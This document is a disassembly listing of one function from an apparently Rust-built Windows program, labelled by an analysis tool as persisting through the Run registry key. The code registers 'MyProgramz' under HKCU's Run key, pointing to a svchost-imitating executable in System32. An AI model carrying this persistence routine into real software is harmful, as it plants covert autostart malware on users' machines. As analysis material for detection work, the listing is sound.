Function at 0x14000a230
Capabilities:
Persist via run registry key

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20], 0xfffffffffffffffe
mov rax, qword [rcx]
mov rsi, qword [rcx + 8]
mov rcx, qword [rax]
call fcn.1400269f0
test al, al
je 0x14000a452
mov rax, qword [rsi]
mov qword [rbp - 0x50], rax
movzx eax, byte [rax]
test eax, eax
jne 0x14000a48f
call fcn.14000f400
mov qword [rbp - 0x28], rax
mov byte [rbp - 0x18], 0
lea rax, [rbp - 0x28]
mov qword [rbp - 0x20], rax
lea rcx, [rbp + 0x10]
lea rdx, [rbp - 0x20]
call fcn.14000b220
cmp byte [rbp + 0x10], 0
jne 0x14000a4c4
mov rsi, qword [rbp + 0x18]
mov rcx, rsi
call fcn.14000f730
test al, al
je 0x14000a2b6
mov rcx, rsi
call fcn.14000fbd0
lea rax, [0x140050400]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rax, [0x140050318]
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rcx, [rbp - 0x20]
call fcn.140033340
mov ecx, 7
mov edx, 0xbbdf5c
call fcn.1400314a0
mov qword [rbp - 0x30], 0xffffffff80000001
mov dword [rsp + 0x20], 0x2001f
lea r8, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x30]
mov r9d, 0x2d
call fcn.140006d70
cmp qword [rbp - 0x20], 0
jne 0x14000a4e0
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x40], rax
lea r8, str.MyProgramz
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x40]
mov r9d, 0xa
call fcn.140006e80
mov rdx, qword [rbp - 0x20]
movabs rsi, 0x8000000000000000
cmp rdx, rsi
jne 0x14000a456
lea rcx, [rbp - 0x18]
call fcn.140004fb0
lea rcx, [rbp - 0x20]
call fcn.140032050
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x38], rax
cmp rax, rsi
je 0x14000a515
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0x24
lea r9, str.C:WindowsSystem32_svchostcasus.exe
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x48], rdx
call fcn.140039230
cmp qword [rbp - 0x20], 0
jne 0x14000a54a
lea r8, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x30]
mov r9d, 0x2d
call fcn.140006c40
cmp byte [rbp - 0x18], 0
je 0x14000a57c
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x28], rax
lea rdx, str.C:WindowsSystem32_svchostcasus.exe
lea rcx, [rbp - 0x20]
mov r8d, 0x24
call fcn.140032070
cmp qword [rbp - 0x20], 0
jne 0x14000a5ae
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rcx
lea rdx, str.MyProgramz
lea rcx, [rbp - 0x28]
lea r9, [rbp + 0x10]
mov r8d, 0xa
call fcn.140007160
test rax, rax
jne 0x14000a5bc
lea rcx, [rbp - 0x28]
call fcn.14002e660
mov rdx, qword [rbp - 0x38]
test rdx, rdx
je 0x14000a46a
mov r8d, 1
mov rcx, qword [rbp - 0x48]
jmp 0x14000a465
xor eax, eax
jmp 0x14000a485
test rdx, rdx
je 0x14000a46a
mov rcx, qword [rbp - 0x18]
mov r8d, 1
call fcn.14000bc20
lea rcx, [rbp - 0x40]
call fcn.14002e660
lea rcx, [rbp - 0x30]
call fcn.14002e660
mov rax, qword [rbp - 0x50]
mov byte [rax], 1
mov al, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
cmp eax, 1
jne 0x14000a4ac
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.srcmain.rs
mov edx, 0x23
call fcn.14004e080
lea rcx, str._async_fn__resumed_after_panicking
lea r8, str.srcmain.rs
mov edx, 0x22
call fcn.14004e080
movzx eax, byte [rbp + 0x11]
mov byte [rbp - 0x20], al
lea rdx, str.srcmain.rs
lea rcx, [rbp - 0x20]
call fcn.14004ad60
jmp 0x14000a5e8
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x10], rax
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140050318]
lea r9, fcn.140004fb0
lea r8, [rbp + 0x10]
mov edx, 0x2b
call fcn.14004e450
jmp 0x14000a5e8
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x10], rax
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140050318]
lea r9, fcn.140004fb0
lea r8, [rbp + 0x10]
mov edx, 0x2b
call fcn.14004e450
jmp 0x14000a5e8
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x10], rax
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140050318]
lea r9, fcn.140004fb0
lea r8, [rbp + 0x10]
mov edx, 0x2b
call fcn.14004e450
jmp 0x14000a5e8
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x10], rax
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140050318]
lea r9, fcn.140004fb0
lea r8, [rbp + 0x10]
mov edx, 0x2b
call fcn.14004e450
jmp 0x14000a5e8
lea rcx, str.srcmain.rs
call fcn.14004df20
jmp 0x14000a5e8
mov qword [rbp - 0x20], rax
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140050318]
lea r9, fcn.140004fb0
lea r8, [rbp - 0x20]
mov edx, 0x2b
call fcn.14004e450
ud2